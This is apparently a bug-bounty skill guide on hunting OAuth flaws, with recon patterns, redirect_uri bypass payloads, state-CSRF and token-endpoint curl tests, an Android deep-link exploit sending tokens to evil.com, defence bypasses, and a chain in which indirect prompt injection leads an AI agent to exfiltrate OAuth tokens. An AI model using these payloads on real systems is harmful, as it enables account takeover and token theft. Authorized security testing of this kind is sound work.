Hunt OAUTH

Crown Jewel Targets

OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.

Highest-value targets:

• Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
• Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
• Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
• Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
• Enterprise SSO connectors — critical infrastructure, high severity payouts

Asset types that pay most:

• OAuth authorization endpoints (/oauth/authorize, /connect/authorize)
• Token exchange endpoints (/oauth/token)
• Mobile deep link handlers (push_notification_webview, custom scheme URIs)
• Social login callback handlers (/auth/callback, /oauth/callback)

Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.

Attack Surface Signals

URL Patterns to Hunt

/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview

Response Headers That Signal OAuth

Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)

JavaScript Patterns (grep in JS bundles)

redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://

Tech Stack Signals

• Android apps with intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs
• Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
• Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
• .well-known/openid-configuration present = full OIDC surface available

Step-by-Step Hunting Methodology

1. Enumerate all OAuth entry points

   • Spider the app for /oauth, /connect, /auth, /login paths
   • Check .well-known/openid-configuration and .well-known/oauth-authorization-server
   • Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes

2. Map the full OAuth flow

   • Capture the authorization request: note client_id, redirect_uri, state, nonce, response_type
   • Capture the callback: note where tokens/codes land, what validates state/nonce

3. Test redirect_uri validation (highest yield)

   • Try exact host bypass: redirect_uri=https://legit.com.evil.com
   • Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
   • Try open redirects on the legitimate domain first, then chain into OAuth
   • Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
   • Try encoded characters: %2F, %40, %23 to confuse parsers

4. Test state parameter (CSRF)

   • Remove state entirely — does the flow complete?
   • Reuse a fixed state value across sessions
   • Check if state is validated server-side or only client-side

5. Test nonce parameter (replay/bypass)

   • Capture a nonce from one flow, attempt to replay it in another
   • Check if nonce is validated after token exchange
   • Test if nonce can be extracted via referrer leak (step 9)

6. Test authentication step completeness

   • For multi-step auth (e.g., email verification + OAuth): can you skip to /oauth/token directly?
   • Check if partial auth state (unverified email) is accepted by the token endpoint

7. Hunt referrer leakage

   • After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full Referer header
   • Look specifically at language switchers, analytics calls, social share buttons triggered post-auth

8. Test mobile deep links

   • For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
   • Check if deep link handlers validate the origin/host before loading
   • Test push_notification_webview patterns that accept arbitrary URLs

9. Test misconfigured client credentials

   • Check if client_secret appears in JS bundles or APK resources
   • Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret

10. Verify and document

    • Confirm state is not validated → CSRF to account link
    • Confirm token lands on attacker domain → session theft
    • Confirm email verification skippable → auth bypass
    • Run Gate 0 check before reporting

Payload & Detection Patterns

redirect_uri Bypass Payloads

# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com

State CSRF Test

# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE

Nonce Extraction via Referrer

# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
  -H "Referer: https://evil.com" \
  --max-redirs 0

# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html

Mobile Deep Link Exploit (Android)

# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>

Token Endpoint Auth Bypass

# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "username=unverified@evil.com" \
  -d "password=password123" \
  -d "client_id=CLIENT_ID"

Grep Patterns for Recon

# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .

# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header

# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool

Common Root Causes

1. Weak redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.

2. Missing or unvalidated state parameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).

3. Nonce not validated post-exchange — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.

4. Authentication step ordering not enforced server-side — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.

5. Token/code in URL with outbound requests on callback page — developers land users on a callback page with tokens in the query string, then that page fires analytics, social share, or CDN requests that leak the full URL via Referer header.

6. Mobile deep link handlers trust all input URLs — Android/iOS developers build webview wrappers for push notification flows without validating that the loaded URL belongs to their own domain.

7. Misconfigured OAuth application registration — developers register wildcard redirect URIs (https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production.

8. Client secrets embedded in mobile apps — treating confidential client credentials as public, enabling an attacker with the secret to perform token requests with arbitrary redirect URIs.

Bypass Techniques

Defender: Exact-match redirect_uri whitelist

Bypass: Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.

redirect_uri=https://legit.com/logout?next=https://evil.com

Defender: state parameter required

Bypass: Check if state is validated for length/format but not binding to session. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.

Defender: Fragment-only token delivery (response_type=token)

Bypass: Fragment isn't sent in Referer by browsers, but JavaScript on the callback page may read window.location.hash and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.

Defender: Host validation on mobile deep links

Bypass: Try URL encoding (https%3A//evil.com), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.

Defender: Short-lived authorization codes

Bypass: Referrer leakage and open redirects work even with short-lived codes if the attacker has a fast receiver. For CSRF, the victim completes the flow so timing is less critical.

Defender: PKCE enforcement

Bypass: Check if PKCE is required for all clients or only specific ones. Legacy clients or mobile apps may be exempt. Test with code_challenge omitted — if the server still issues tokens, PKCE isn't enforced.

Defender: Nonce validation

Bypass: Check if nonce is validated client-side in JavaScript only. Intercept and modify the ID token's nonce claim if the signature isn't verified (rare but seen in misconfigured implementations). Also test if nonce is validated on initial request but not on token refresh.

Gate 0 Validation

Before writing the report, answer all three:

1. What can the attacker DO right now? Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.

2. What does the victim LOSE? Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.

3. Can it be reproduced in 10 minutes from scratch? Open a fresh browser/device with no prior state. If you can walk from "unauthenticated" to "authenticated as victim" in 10 minutes using only your written steps, the bug is real and reportable. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.

Real Impact Examples

Scenario 1: Mobile Session Theft via Push Notification Deep Link (PayPal/Venmo pattern)

An attacker discovers that the Android app's push notification handler accepts an arbitrary url parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.

Scenario 2: Email Verification Bypass via Direct Token Endpoint Access (GitLab pattern)

A developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the /oauth/token endpoint performs no verification status check — it only validates credentials. The attacker calls /oauth/token directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.

Scenario 3: OAuth Token Theft via Referrer Header on Language Change (Rockstar Games pattern)

The OAuth callback page for Facebook login lands users at a URL containing the access_token in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a Referer header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.

Browser-parse vs server-parse — redirect_uri prefix-match bypass shapes

A server-side prefix-match flaw on redirect_uri is necessary but not sufficient to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.

Operational rule: the WHATWG URL parser (used by all modern browsers since 2018) does userinfo parsing ONLY in the authority section — i.e., before the first / after ://. Once the path begins, @ is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.

Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain. Server-side accept + browser-side stay-on-legitimate-host = not ATO. Verified live in docs/verification/phase3-playwright-browser-execution.md Test 29.

Related Skills & Chains

• hunt-subdomain — The single highest-impact OAuth chain. Chain primitive: OAuth redirect_uri validator accepts any *.target.com subdomain + recon reveals dev-staging.target.com CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft /oauth/authorize?redirect_uri=https://dev-staging.target.com/cb → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.
• hunt-ato — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: state parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures code before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.
• hunt-llm-ai — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts redirect_uri from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.
• hunt-saml — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters NameID to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.
• security-arsenal — Pull the OAuth redirect_uri Bypass Table (host-confusion legit.com@evil.com, legit.com.evil.com, path-traversal, parameter pollution, encoded-slash %2F, fragment-injection #legit.com) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.
• triage-validation — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the state param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.